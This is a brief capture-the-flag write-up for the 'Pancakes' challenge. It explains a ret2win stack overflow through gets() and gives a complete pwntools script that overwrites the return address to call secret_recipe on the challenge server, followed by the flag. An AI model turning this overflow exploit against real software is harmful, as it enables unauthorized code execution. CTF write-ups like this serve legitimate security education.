Pancakes

Gets is called on rbp-0x90, there's a function called secret_recipe which reads flag.txt and prints it to stdout. So, just your standard ret2win, overflow 0x90 + 8 bytes of the buffer to overwrite the return address to that of secret_recipe

from pwn import *
NUM_TO_RET = 0x90 + 8
padding = b'A' * NUM_TO_RET
e = ELF("./pancakes")
#p = e.process()
p = remote('jh2i.com',50021)
p.recvlines(2)
p.sendline(padding + p64(e.symbols['secret_recipe']))
p.interactive()

Flag: flag{too_many_pancakes_on_the_stack}